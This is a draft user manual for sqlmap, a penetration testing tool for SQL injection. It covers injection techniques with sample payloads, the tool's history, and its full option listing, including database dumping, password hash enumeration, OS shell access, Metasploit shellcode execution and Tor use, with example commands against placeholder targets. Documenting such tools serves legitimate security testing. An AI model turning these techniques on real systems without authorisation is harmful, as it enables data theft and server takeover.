sqlmap user's manual

Bernardo Damele A. G. and Miroslav Stampar

April 15, 2013 (**DRAFT**)

Abstract

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Contents

1 Introduction

1.1 Detect and exploit a SQL injection

Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values via `GET`, `POST` or `Cookie` parameters or via the HTTP `User-Agent` request header. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible from the back-end database management system, or even be able to access the underlying file system and operating system.

In a simple world, consider that the target url is:

```
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
```

Assume that:

```
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
```

is the same page as the original one and (the condition evaluates to **True**):

```
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
```

differs from the original one (the condition evaluates to **False**). This likely means that you are in front of a SQL injection vulnerability in the `id GET` parameter of the `index.php` page. Additionally, no sanitisation of user's supplied input is taking place before the SQL statement is sent to the back-end database management system.

This is quite a common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language; it is a flaw within the application code. The Open Web Application Security Project rated this class of vulnerability as the most common and serious web application vulnerability in their Top Ten list from 2010.

Now that you have found the vulnerable parameter, you can exploit it by manipulating the `id` parameter value in the HTTP request.

Back to the scenario, we can make an educated guess about the probable syntax of the SQL `SELECT` statement where the user supplied value is being used in the `get_int.php` web page. In pseudo PHP code:

```
$query = "SELECT [column name(s)] FROM [table name] WHERE id=" . $_REQUEST['id'];
```

As you can see, appending a syntactically valid SQL statement that will evaluate to a **True** condition after the value for the `id` parameter (such as `id=1 AND 1=1`) will result in the web application returning the same web page as in the original request (where no SQL statement is added). This is because the back-end database management system has evaluated the injected SQL statement. The previous example describes a simple boolean-based blind SQL injection vulnerability. However, sqlmap is able to detect any type of SQL injection flaw and adapt its work-flow accordingly.

In this simple scenario it would also be possible to append, not just one or more valid SQL conditions, but also (depending on the DBMS) stacked SQL queries. For instance: `[...]&id=1;ANOTHER SQL QUERY#`.

sqlmap can automate the process of identifying and exploiting this type of vulnerability. Passing the original address, `http://192.168.136.131/sqlmap/mysql/get_int.php?id=1` to sqlmap, the tool will automatically:

- Identify the vulnerable parameter(s) (`id` in this example)
- Identify which SQL injection techniques can be used to exploit the vulnerable parameter(s)
- Fingerprint the back-end database management system
- Depending on the user's options, it will extensively fingerprint, enumerate data or takeover the database server as a whole

. . . and depending on supplied options, it will enumerate data or takeover the database server entirely.

There exist many resources on the web explaining in depth how to detect, exploit and prevent SQL injection vulnerabilities in web applications. It is recommendeded that you read them before going much further with sqlmap.

1.2 Direct connection to the database management system

Up until sqlmap version **0.8**, the tool has been **yet another SQL injection tool**, used by web application penetration testers/newbies/curious teens/computer addicted/punks and so on. Things move on and as they evolve, we do as well. Now it supports this new switch, `-d`, that allows you to connect from your machine to the database server's TCP port where the database management system daemon is listening on and perform any operation you would do while using it to attack a database via a SQL injection vulnerability.

2 Techniques

sqlmap is able to detect and exploit five different SQL injection **types**:

- **Boolean-based blind**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output.
- **Time-based blind**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds. For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character. Like for boolean-based technique, the bisection algorithm is applied.
- **Error-based**: sqlmap replaces or appends to the affected parameter a database-specific error message provoking statement and parses the HTTP response headers and body in search of DBMS error messages containing the injected pre-defined chain of characters and the subquery statement output within. This technique works only when the web application has been configured to disclose back-end database management system error messages.
- **UNION query-based**: sqlmap appends to the affected parameter a syntactically valid SQL statement starting with an `UNION ALL SELECT`. This techique works when the web application page passes directly the output of the `SELECT` statement within a `for` loop, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit **partial (single entry) UNION query SQL injection** vulnerabilities which occur when the output of the statement is not cycled in a `for` construct, whereas only the first entry of the query output is displayed.
- **Stacked queries**, also known as **piggy backing**: sqlmap tests if the web application supports stacked queries and then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (`;`) followed by the SQL statement to be executed. This technique is useful to

run SQL statements other than `SELECT`, like for instance, **data definition** or **data manipulation** statements, possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges.

3 Features

Features implemented in sqlmap include:

3.1 Generic features

- Full support for **MySQL**, **Oracle**, **PostgreSQL**, **Microsoft SQL Server**, **Microsoft Access**, **IBM DB2**, **SQLite**, **Firebird**, **Sybase** and **SAP MaxDB** database management systems.
- Full support for five SQL injection techniques: **boolean-based blind**, **time-based blind**, **error-based**, **UNION query** and **stacked queries**.
- Support to **directly connect to the database** without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
- It is possible to provide a single target URL, get the list of targets from Burp proxy or WebScarab proxy requests log files, get the whole HTTP request from a text file or get the list of targets by providing sqlmap with a Google dork which queries Google search engine and parses its results page. You can also define a regular-expression based scope that is used to identify which of the parsed addresses to test.
- Tests provided **GET** parameters, **POST** parameters, HTTP **Cookie** header values, HTTP **User-Agent** header value and HTTP **Referer** header value to identify and exploit SQL injection vulnerabilities. It is also possible to specify a comma-separated list of specific parameter(s) to test.
- Option to specify the **maximum number of concurrent HTTP(S) requests (multi-threading)** to speed up the blind SQL injection techniques. Vice versa, it is also possible to specify the number of seconds to hold between each HTTP(S) request. Others optimization switches to speed up the exploitation are implemented too.
- **HTTP `Cookie` header** string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header values. You can also specify to always URL-encode the Cookie.

- Automatically handles **HTTP `Set-Cookie` header** from the application, re-establishing of the session if it expires. Test and exploit on these values is supported too. Vice versa, you can also force to ignore any `Set-Cookie` header.
- HTTP protocol **Basic, Digest, NTLM and Certificate authentications** support.
- **HTTP(S) proxy** support to pass by the requests to the target application that works also with HTTPS requests and with authenticated proxy servers.
- Options to fake the **HTTP `Referer` header** value and the **HTTP `User-Agent` header** value specified by user or randomly selected from a textual file.
- Support to increase the **verbosity level of output messages**: there exist **seven levels** of verbosity.
- Support to **parse HTML forms** from the target URL and forge HTTP(S) requests against those pages to test the form parameters against vulnerabilities.
- **Granularity and flexibility** in terms of both user's switches and features.
- **Estimated time of arrival** support for each query, updated in real time, to provide the user with an overview on how long it will take to retrieve the queries' output.
- Automatically saves the session (queries and their output, even if partially retrieved) on a textual file in real time while fetching the data and **resumes the injection** by parsing the session file.
- Support to read options from a configuration INI file rather than specify each time all of the switches on the command line. Support also to generate a configuration file based on the command line switches provided.
- Support to **replicate the back-end database tables structure and entries** on a local SQLite 3 database.
- Option to update sqlmap to the latest development version from the subversion repository.
- Support to parse HTTP(S) responses and display any DBMS error message to the user.
- Integration with other IT security open source projects, Metasploit and w3af.

3.2 Fingerprint and enumeration features

- **Extensive back-end database software version and underlying operating system fingerprint** based upon error messages, banner parsing, functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
- Basic web server software and web application technology fingerprint.
- Support to retrieve the DBMS **banner**, **session user** and **current database** information. The tool can also check if the session user is a **database administrator** (DBA).
- Support to enumerate **users, password hashes, privileges, roles, databases, tables and columns**.
- Automatic recognition of password hashes format and support to **crack them with a dictionary-based attack**.
- Support to **brute-force tables and columns name**. This is useful when the session user has no read access over the system table containing schema information or when the database management system does not store this information anywhere (e.g. MySQL < 5.0).
- Support to **dump database tables** entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
- Support to automatically **dump all databases**' schemas and entries. It is possibly to exclude from the dump the system databases.
- Support to **search for specific database names, specific tables across all databases or specific columns across all databases' tables**. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like **name** and **pass**.
- Support to **run custom SQL statement(s)** as in an interactive SQL client connecting to the back-end database. sqlmap automatically dissects the provided statement, determines which technique fits best to inject it and how to pack the SQL payload accordingly.

3.3 Takeover features

Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

- Support to **inject custom user-defined functions**: the user can compile a shared library then use sqlmap to create within the back-end DBMS user-defined functions out of the compiled shared library file. These UDFs can then be executed, and optionally removed, via sqlmap. This is supported when the database software is MySQL or PostgreSQL.
- Support to **download and upload any file** from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to **execute arbitrary commands and retrieve their standard output** on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- On MySQL and PostgreSQL via user-defined function injection and execution.
- On Microsoft SQL Server via `xp_cmdshell()` stored procedure. Also, the stored procedure is re-enabled if disabled or created from scratch if removed by the DBA.
- Support to **establish an out-of-band stateful TCP connection between the attacker machine and the database server** underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:
- Database **in-memory execution of the Metasploit's shellcode** via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL.
- Upload and execution of a Metasploit's **stand-alone payload stager** via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server.
- Execution of Metasploit's shellcode by performing a **SMB reflection attack** (MS08-068 with a UNC path request from the database server to the attacker's machine where the Metasploit `smb_relay` server exploit listens. Supported when running sqlmap with high privileges (`uid=0`) on Linux/Unix and the target DBMS runs as Administrator on Windows.
- Database in-memory execution of the Metasploit's shellcode by exploiting **Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow** (MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation.

- Support for **database process' user privilege escalation** via Metasploit's `getsystem` command which include, among others, the kitrap0d technique (MS10-015).
- Support to access (read/add/delete) Windows registry hives.

3.4 Demo

You can watch demo videos on Bernardo and Miroslav YouTube pages. Also, you can find lots of examples against publicly available vulnerable web applications made for legal web assessment here.

4 Download and update

You can download the latest tarball by clicking here or latest zipball by clicking here.

Preferably, you can download sqlmap by cloning the Git repository:

```
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```

You can update it at any time to the latest development version by running:

```
python sqlmap.py --update
```

or:

```
git pull
```

5 Dependencies

sqlmap is developed in Python, a dynamic, object-oriented, interpreted programming language freely available from http://python.org/download/. This makes sqlmap a cross-platform application which is independant of the operating system. sqlmap requires Python version **2.6.x** or **2.7.x**. To make it even easier, many GNU/Linux distributions come out of the box with Python installed. Other Unixes and Mac OSX also provide Python packaged and ready to be installed. Windows users can download and install the Python installer for x86, AMD64 and Itanium.

sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You can grab a copy of the framework from the download

page - the required version is **3.5** or higher. For the ICMP tunneling out-of-band takeover technique, sqlmap requires the Impacket library too.

If you are willing to connect directly to a database server (switch `-d`), without passing through the web application, you need to install Python bindings for the database management system that you are going to attack:

- Firebird: python-kinterbasdb
- Microsoft Access: python-pyodbc
- Microsoft SQL Server: python-pymssql
- MySQL: python pymysql
- Oracle: python cx_Oracle
- PostgreSQL: python-psycopg2
- SQLite: python-pysqlite2
- Sybase: python-pymssql

If you plan to attack a web application behind a NTLM authentication you'll need to install python-ntlm library.

Optionally, if you are running sqlmap on Windows, you may wish to install the PyReadline library in order to take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell. Note that these functionalities are available natively via the standard Python readline library on other operating systems. # History

5.1 2012

- **June 26**, sqlmap development is relocated on GitHub. A new homepage is deployed. The issue tracker goes public. The Subversion repository is dismissed as is the project hosting on SourceForge.
- **May 31**, Miroslav presents his research **DNS exfiltration using sqlmap** (slides) with accompanying whitepaper **Data Retrieval over DNS in SQL Injection Attacks** at PHDays 2012 in Moscow, Russia.

5.2 2011

- **December**, Throughout the year dozen of new features have been developed and hundreds of bugs have been fixed.

- **September 23**, Miroslav presents **It all starts with the ' (SQL injection from attacker's point of view)** (slides) talking about methods attackers use in SQL injection attacks at FSec - FOI Security Symposium in Varazdin, Croatia.
- **June 23**, Miroslav presents **sqlmap - security development in Python** (slides) talking about sqlmap internals at EuroPython 2011 in Firenze, Italy.
- **April 10**, Bernardo and Miroslav release sqlmap **0.9** featuring a totally rewritten and powerful SQL injection detection engine, the possibility to connect directly to a database server, support for time-based blind SQL injection and error-based SQL injection, support for four new database management systems and much more.

5.3 2010

- **December**, Bernardo and Miroslav have enhanced sqlmap a lot during the whole year and prepare to release sqlmap **0.9** within the first quarter of 2011.
- **June 3**, Bernardo presents a talk titled **Got database access? Own the network!** at AthCon 2010 in Athens (Greece).
- **March 14**, Bernardo and Miroslav release stable version of sqlmap **0.8** featuring many features. Amongst these, support to enumerate and dump all databases' tables containing user provided column(s), stabilization and enhancements to the takeover functionalities, updated integration with Metasploit 3.3.3 and a lot of minor features and bug fixes.
- **March**, sqlmap demo videos have been published.
- **January**, Bernardo is invited to present at AthCon conference in Greece on June 2010.

5.4 2009

- **December 18**, Miroslav Stampar replies to the call for developers. Along with Bernardo, he actively develops sqlmap from version **0.8 release candidate 2**.
- **December 12**, Bernardo writes to the mailing list a post titled sqlmap state of art - 3 years later highlighting the goals achieved during these first three years of the project and launches a call for developers.
- **December 4**, sqlmap-devel mailing list has been merged into sqlmap-users mailing list.

- **November 20**, Bernardo and Guido present again their research on stealth database server takeover at CONfidence 2009 in Warsaw, Poland.
- **September 26**, sqlmap version **0.8 release candidate 1** goes public on the [subversion repository] (https://svn.sqlmap.org/sqlmap/trunk/sqlmap/), with all the attack vectors unveiled at SOURCE Barcelona 2009 Conference. These include an enhanced version of the Microsoft SQL Server buffer overflow exploit to automatically bypass DEP memory protection, support to establish the out-of-band connection with the database server by executing in-memory the Metasploit shellcode via UDF **sys_bineval()** (anti-forensics technique), support to access the Windows registry hives and support to inject custom user-defined functions.
- **September 21**, Bernardo and Guido Landi present their research (slides) at SOURCE Conference 2009 in Barcelona, Spain.
- **August**, Bernardo is accepted as a speaker at two others IT security conferences, SOURCE Barcelona 2009 and CONfidence 2009 Warsaw. This new research is titled **Expanding the control over the operating system from the database**.
- **July 25**, stable version of sqlmap **0.7** is out!
- **June 27**, Bernardo presents an updated version of his **SQL injection: Not only AND 1=1** slides at 2nd Digital Security Forum in Lisbon, Portugal.
- **June 2**, sqlmap version **0.6.4** has made its way to the official Ubuntu repository too.
- **May**, Bernardo presents again his research on operating system takeover via SQL injection at OWASP AppSec Europe 2009 in Warsaw, Poland and at EUSecWest 2009 in London, UK.
- **May 8**, sqlmap version **0.6.4** has been officially accepted in Debian repository. Details on this blog post.
- **April 22**, sqlmap version **0.7 release candidate 1** goes public, with all the attack vectors unveiled at Black Hat Europe 2009 Conference. These include execution of arbitrary commands on the underlying operating system, full integration with Metasploit to establish an out-of-band TCP connection, first publicly available exploit for Microsoft Security Bulletin MS09-004 against Microsoft SQL Server 2000 and 2005 and others attacks to takeover the database server as a whole, not only the data from the database.
- **April 16**, Bernardo presents his research (slides, whitepaper) at Black Hat Europe 2009 in Amsterdam, The Netherlands. The feedback from the audience is good and there has been some media coverage too.

- **March 5**, Bernardo presents for the first time some of the sqlmap recent features and upcoming enhancements at an international event, Front Range OWASP Conference 2009 in Denver, USA. The presentation is titled **SQL injection: Not only AND 1=1**.
- **February 24**, Bernardo is accepted as a speaker at Black Hat Europe 2009 with a presentation titled **Advanced SQL injection exploitation to operating system full control**.
- **February 3**, sqlmap **0.6.4** is the last point release for 0.6: taking advantage of the stacked queries test implemented in 0.6.3, sqlmap can now be used to execute any arbitrary SQL statement, not only **SELECT** anymore. Also, many features have been stabilized, tweaked and improved in terms of speed in this release.
- **January 9**, Bernardo presents **SQL injection exploitation internals** at a private event in London, UK.

5.5 2008

- **December 18**, sqlmap **0.6.3** is released featuring support to retrieve targets from Burp and WebScarab proxies log files, support to test for stacked queries ant time-based blind SQL injection, rough fingerprint of the web server and web application technologies in use and more options to customize the HTTP requests and enumerate more information from the database.
- **November 2**, sqlmap version **0.6.2** is a "bug fixes" release only.
- **October 20**, sqlmap first point release, **0.6.1**, goes public. This includes minor bug fixes and the first contact between the tool and Metasploit: an auxiliary module to launch sqlmap from within Metasploit Framework. The subversion development repository goes public again.
- **September 1**, nearly one year after the previous release, sqlmap **0.6** comes to life featuring a complete code refactoring, support to execute arbitrary SQL **SELECT** statements, more options to enumerate and dump specific information are added, brand new installation packages for Debian, Red Hat, Windows and much more.
- **August**, two public mailing lists are created on SourceForge.
- **January**, sqlmap subversion development repository is moved away from SourceForge and goes private for a while.

5.6 2007

- **November 4**, release **0.5** marks the end of the OWASP Spring of Code 2007 contest participation. Bernardo has accomplished all the proposed objects which include also initial support for Oracle, enhanced support for UNION query SQL injection and support to test and exploit SQL injections in HTTP Cookie and User-Agent headers.
- **June 15**, Bernardo releases version **0.4** as a result of the first OWASP Spring of Code 2007 milestone. This release features, amongst others, improvements to the DBMS fingerprint engine, support to calculate the estimated time of arrival, options to enumerate specific data from the database server and brand new logging system.
- **April**, even though sqlmap was **not** and is **not** an OWASP project, it gets accepted, amongst many other open source projects to OWASP Spring of Code 2007.
- **March 30**, Bernardo applies to OWASP Spring of Code 2007.
- **January 20**, sqlmap version **0.3** is released, featuring initial support for Microsoft SQL Server, support to test and exploit UNION query SQL injections and injection points in POST parameters.

5.7 2006

- **December 13**, Bernardo releases version **0.2** with major enhancements to the DBMS fingerprint functionalities and replacement of the old inference algorithm with the bisection algorithm.
- **September**, Daniele leaves the project, Bernardo Damele A. G. takes it over.
- **August**, Daniele adds initial support for PostgreSQL and releases version **0.1**.
- **July 25**, Daniele Bellucci registers the sqlmap project on SourceForge and develops it on the SourceForge subversion repository. The skeleton is implemented and limited support for MySQL added.

6 Usage

```
Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
```

```
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target URLs from

    -d DIRECT           Direct connection to the database
    -u URL, --url=URL   Target URL (e.g. "www.target.com/vuln.php?id=1")
    -l LOGFILE          Parse targets from Burp or WebScarab proxy logs
    -m BULKFILE         Scan multiple targets enlisted in a given textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST
    --param-del=PDEL    Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header
    --host=HOST         HTTP Host header
    --referer=REFERER   HTTP Referer header
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
    --auth-cred=ACRED   HTTP authentication credentials (name:password)
    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
    --proxy=PROXY       Use a HTTP proxy to connect to the target URL
    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
    --ignore-proxy      Ignore system default HTTP proxy
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --safe-url=SAFURL   URL address to visit frequently during testing
    --safe-freq=SAFREQ  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")
```

```
Optimization:
  These options can be used to optimize the performance of sqlmap

  -o                  Turn on all optimization switches
  --predict-output    Predict common queries output
  --keep-alive        Use persistent HTTP(s) connections
  --null-connection   Retrieve page length without actual HTTP response body
  --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

Injection:
  These options can be used to specify which parameters to test for,
  provide custom injection payloads and optional tampering scripts

  -p TESTPARAMETER    Testable parameter(s)
  --skip=SKIP         Skip testing for given parameter(s)
  --dbms=DBMS         Force back-end DBMS to this value
  --os=OS             Force back-end DBMS operating system to this value
  --invalid-bignum    Use big numbers for invalidating values
  --invalid-logical   Use logical operations for invalidating values
  --no-cast           Turn off payload casting mechanism
  --no-escape         Turn off string escaping mechanism
  --prefix=PREFIX     Injection payload prefix string
  --suffix=SUFFIX     Injection payload suffix string
  --tamper=TAMPER     Use given script(s) for tampering injection data

Detection:
  These options can be used to specify how to parse and compare page
  content from HTTP responses when using blind SQL injection technique

  --level=LEVEL       Level of tests to perform (1-5, default 1)
  --risk=RISK         Risk of tests to perform (0-3, default 1)
  --string=STRING     String to match when query is evaluated to True
  --not-string=NOT..  String to match when query is evaluated to False
  --regexp=REGEXP     Regexp to match when query is evaluated to True
  --code=CODE         HTTP code to match when query is evaluated to True
  --text-only         Compare pages based only on the textual content
  --titles            Compare pages based only on their titles

Techniques:
  These options can be used to tweak testing of specific SQL injection
  techniques

  --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
  --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
  --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
  --union-char=UCHAR  Character to use for bruteforcing number of columns
```

```
  --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
  --dns-domain=DNS..  Domain name used for DNS exfiltration attack
  --second-order=S..  Resulting page URL searched for second-order response

Fingerprint:
  -f, --fingerprint   Perform an extensive DBMS version fingerprint

Enumeration:
  These options can be used to enumerate the back-end database
  management system information, structure and data contained in the
  tables. Moreover you can run your own SQL statements

  -a, --all           Retrieve everything
  -b, --banner        Retrieve DBMS banner
  --current-user      Retrieve DBMS current user
  --current-db        Retrieve DBMS current database
  --hostname          Retrieve DBMS server hostname
  --is-dba            Detect if the DBMS current user is DBA
  --users             Enumerate DBMS users
  --passwords         Enumerate DBMS users password hashes
  --privileges        Enumerate DBMS users privileges
  --roles             Enumerate DBMS users roles
  --dbs               Enumerate DBMS databases
  --tables            Enumerate DBMS database tables
  --columns           Enumerate DBMS database table columns
  --schema            Enumerate DBMS schema
  --count             Retrieve number of entries for table(s)
  --dump              Dump DBMS database table entries
  --dump-all          Dump all DBMS databases tables entries
  --search            Search column(s), table(s) and/or database name(s)
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database table to enumerate
  -C COL              DBMS database table column to enumerate
  -U USER             DBMS user to enumerate
  --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
  --start=LIMITSTART  First query output entry to retrieve
  --stop=LIMITSTOP    Last query output entry to retrieve
  --first=FIRSTCHAR   First query output word character to retrieve
  --last=LASTCHAR     Last query output word character to retrieve
  --sql-query=QUERY   SQL statement to be executed
  --sql-shell         Prompt for an interactive SQL shell
  --sql-file=SQLFILE  Execute SQL statements from given file(s)

Brute force:
  These options can be used to run brute force checks
```

```
  --common-tables     Check existence of common tables
  --common-columns    Check existence of common columns

User-defined function injection:
  These options can be used to create custom user-defined functions

  --udf-inject        Inject custom user-defined functions
  --shared-lib=SHLIB  Local path of the shared library

File system access:
  These options can be used to access the back-end database management
  system underlying file system

  --file-read=RFILE   Read a file from the back-end DBMS file system
  --file-write=WFILE  Write a local file on the back-end DBMS file system
  --file-dest=DFILE   Back-end DBMS absolute filepath to write to

Operating system access:
  These options can be used to access the back-end database management
  system underlying operating system

  --os-cmd=OSCMD      Execute an operating system command
  --os-shell          Prompt for an interactive operating system shell
  --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
  --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
  --os-bof            Stored procedure buffer overflow exploitation
  --priv-esc          Database process' user privilege escalation
  --msf-path=MSFPATH  Local path where Metasploit Framework is installed
  --tmp-path=TMPPATH  Remote absolute path of temporary files directory

Windows registry access:
  These options can be used to access the back-end database management
  system Windows registry

  --reg-read          Read a Windows registry key value
  --reg-add           Write a Windows registry key value data
  --reg-del           Delete a Windows registry key value
  --reg-key=REGKEY    Windows registry key
  --reg-value=REGVAL  Windows registry key value
  --reg-data=REGDATA  Windows registry key value data
  --reg-type=REGTYPE  Windows registry key value type

General:
  These options can be used to set some general working parameters

  -s SESSIONFILE      Load session from a stored (.sqlite) file
```

```
  -t TRAFFICFILE      Log all HTTP traffic into a textual file
  --batch             Never ask for user input, use the default behaviour
  --charset=CHARSET   Force character encoding used for data retrieval
  --check-tor         Check to see if Tor is used properly
  --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
  --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
  --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
  --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
  --eta               Display for each output the estimated time of arrival
  --flush-session     Flush session files for current target
  --force-ssl         Force usage of SSL/HTTPS requests
  --forms             Parse and test forms on target URL
  --fresh-queries     Ignore query results stored in session file
  --hex               Use DBMS hex function(s) for data retrieval
  --output-dir=ODIR   Custom output directory path
  --parse-errors      Parse and display DBMS error messages from responses
  --pivot-column=P..  Pivot column name
  --save              Save options to a configuration INI file
  --tor               Use Tor anonymity network
  --tor-port=TORPORT  Set Tor proxy port other than default
  --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
  --update            Update sqlmap

Miscellaneous:
  -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
  --alert=ALERT       Run shell command(s) when SQL injection is found
  --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
  --beep              Make a beep sound when SQL injection is found
  --check-waf         Heuristically check for WAF/IPS/IDS protection
  --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
  --dependencies      Check for missing (non-core) sqlmap dependencies
  --disable-coloring  Disable console output coloring
  --gpage=GOOGLEPAGE  Use Google dork results from specified page number
  --hpp               Use HTTP parameter pollution
  --identify-waf      Make a through testing for a WAF/IPS/IDS protection
  --mobile            Imitate smartphone through HTTP User-Agent header
  --page-rank         Display page rank (PR) for Google dork results
  --purge-output      Safely remove all content from output directory
  --smart             Conduct through tests only if positive heuristic(s)
  --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
  --wizard            Simple wizard interface for beginner users
```

6.1 Output verbosity

Option: `-v`

This option can be used to set the verbosity level of output messages. There exist **seven** levels of verbosity. The default level is **1** in which information, warning, error, critical messages and Python tracebacks (if any occur) are displayed.

- **0**: Show only Python tracebacks, error and critical messages.
- **1**: Show also information and warning messages.
- **2**: Show also debug messages.
- **3**: Show also payloads injected.
- **4**: Show also HTTP requests.
- **5**: Show also HTTP responses' headers.
- **6**: Show also HTTP responses' page content.

A reasonable level of verbosity to further understand what sqlmap does under the hood is level **2**, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level **3** is your best choice. This level is also recommended to be used when you feed the developers with a potential bug report, make sure you send along with the standard output the traffic log file generated with option `-t`. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level **4** or above.

6.2 Target

At least one of these options has be provided to set the target(s).

6.2.1 Direct connection to the database

Option: `-d`

Run sqlmap against a single database instance. This option accepts a connection string in one of following forms:

- `DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME` (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
- `DBMS://DATABASE_FILEPATH` (SQLite, Microsoft Access, Firebird, etc.)

For example:

```
python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --user
```

6.2.2 Target URL

Option: `-u` or `--url`

Run sqlmap against a single target URL. This option requires a target URL in following form:

`http(s)://targeturl[:port]/[...]`

For example:

```
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
```

6.2.3 Parse targets from Burp or WebScarab proxy logs

Option: `-l`

Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy. This option requires an argument which is the proxy's HTTP requests log file.

6.2.4 Scan multiple targets enlisted in a given textual file

Option: `-m`

Providing list of target URLs enlisted in a given bulk file, sqlmap will scan each of those one by one.

Sample content of a bulk file provided as an argument to this option:

```
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
```

6.2.5 Load HTTP request from a file

Option: `-r`

One of the possibilities of sqlmap is loading of raw HTTP request from a textual file. That way you can skip usage of a number of other options (e.g. setting of cookies, POSTed data, etc).

Sample content of a HTTP request file provided as an argument to this option:

```
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1
```

Note that if the request is over HTTPS, you can use this in conjunction with switch `--force-ssl` to force SSL connection to 443/tcp. Alternatively, you can append `:443` to the end of the `Host` header value.

6.2.6 Process Google dork results as target addresses

Option: `-g`

It is also possible to test and inject on `GET` parameters based on results of your Google dork.

